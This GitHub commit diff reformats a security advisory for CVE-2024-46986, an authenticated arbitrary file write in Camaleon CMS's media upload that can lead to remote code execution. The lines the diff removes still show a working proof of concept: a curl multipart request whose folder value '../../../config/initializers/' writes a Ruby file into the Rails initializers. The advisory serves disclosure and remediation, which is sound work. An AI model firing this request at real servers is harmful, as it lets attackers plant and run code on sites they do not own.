Skip to content

Commit 408819f

Browse files
authored
Reformatted the description: markdown text
1 parent a80f9b5 commit 408819f

File tree

1 file changed

+22
-49
lines changed

1 file changed

+22
-49
lines changed

gems/camaleon_cms/CVE-2024-46986.yml

+22-49
Original file line numberDiff line numberDiff line change
@@ -7,16 +7,17 @@ title: Camaleon CMS affected by arbitrary file write to RCE (GHSL-2024-182)
77
date: 2024-09-18
88
description: |
99
An arbitrary file write vulnerability accessible via the upload method
10-
of the MediaController allows authenticated users to write arbitrary
10+
of the `MediaController` allows authenticated users to write arbitrary
1111
files to any location on the web server Camaleon CMS is running on
1212
(depending on the permissions of the underlying filesystem).
1313
E.g. This can lead to a delayed remote code execution in case an
14-
attacker is able to write a Ruby file into the config/initializers/
14+
attacker is able to write a Ruby file into the `config/initializers/`
1515
subfolder of the Ruby on Rails application.
1616
17-
Once a user upload is started via the
18-
[upload](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L86-L87)
19-
method, the file_upload and the folder parameter
17+
Once a user upload is started via the [upload] method, the
18+
`file_upload` and the folder parameter.
19+
20+
[upload]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L86-L87
2021
2122
```ruby
2223
def upload(settings = {})
@@ -31,13 +32,14 @@ description: |
3132
end
3233
```
3334
34-
are passed to the
35-
[upload_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L23-L24)
36-
method. Inside that method the given settings are
37-
[merged](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L41-L42)
38-
with some presets. The file format is
39-
[checked against](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L61-L62)
40-
the formats settings we can override with the formats parameters.
35+
are passed to the [upload_file] method. Inside that method the
36+
given settings are [merged] with some presets. The file format
37+
is [checked against] the formats settings we can override with
38+
the formats parameters.
39+
40+
[upload_file]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L23-L24
41+
[merged]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L41-L42
42+
[checked against]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L61-L62
4143
4244
```ruby
4345
# formats validations
@@ -46,19 +48,20 @@ description: |
4648
)
4749
```
4850
49-
Our given folder is then
50-
[passed unchecked](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L73-L74)
51-
to the Cama_uploader:
51+
Our given folder is then [passed unchecked] to the `Cama_uploader`:
52+
53+
[passed unchecked]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L73-L74
5254
5355
```ruby
5456
key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
5557
res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })
5658
```
5759
58-
In the [add_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_local_uploader.rb#L77)
59-
method of CamaleonCmsLocalUploader this key argument containing the
60+
In the [add_file] method of `CamaleonCmsLocalUploader` this key argument containing the
6061
unchecked path is then used to write the file to the file system:
6162
63+
[add_file]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_local_uploader.rb#L77
64+
6265
```ruby
6366
def add_file(uploaded_io_or_file_path, key, args = {})
6467
[..]
@@ -68,36 +71,6 @@ description: |
6871
end
6972
```
7073
71-
## Proof of concept
72-
73-
Precondition: A valid account of a registered user is required. (The
74-
values for auth_token and _cms_session need to be replaced with
75-
authenticated values in the curl command below)
76-
77-
curl --path-as-is -i -s -k -X $'POST' \
78-
-H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: */*' -H $'Connection: keep-alive' \
79-
-b $'auth_token=[..]; _cms_session=[..]' \
80-
--data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"file_upload\"; filename=\"test.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"folder\"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"skip_auto_crop\"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a' \
81-
$'https://<camaleon-host>/admin/media/upload?actions=false'
82-
83-
Note that the upload form field formats was removed so that Camaleon
84-
CMS accepts any file. The folder was set to
85-
../../../config/initializers/so that following Ruby script is written
86-
into the initializers folder of the Rails web app:
87-
88-
puts "================================="
89-
puts "================================="
90-
puts "= COMPROMISED ="
91-
puts "================================="
92-
puts "================================="
93-
Once Camaleon CMS is restarted following output will be visible in the log:
94-
95-
=================================
96-
=================================
97-
= COMPROMISED =
98-
=================================
99-
=================================
100-
10174
## Impact
10275
10376
This issue may lead up to Remote Code Execution (RCE) via arbitrary
@@ -107,10 +80,10 @@ description: |
10780
10881
Normalize file paths constructed from untrusted user input before using
10982
them and check that the resulting path is inside the targeted directory.
110-
Additionally, do not allow character sequences such as .. in untrusted
83+
Additionally, do not allow character sequences such as `..` in untrusted
11184
input that is used to build paths.
11285
113-
## See also:
86+
## See Also
11487
11588
[CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)
11689
[OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)

0 commit comments

Comments
 (0)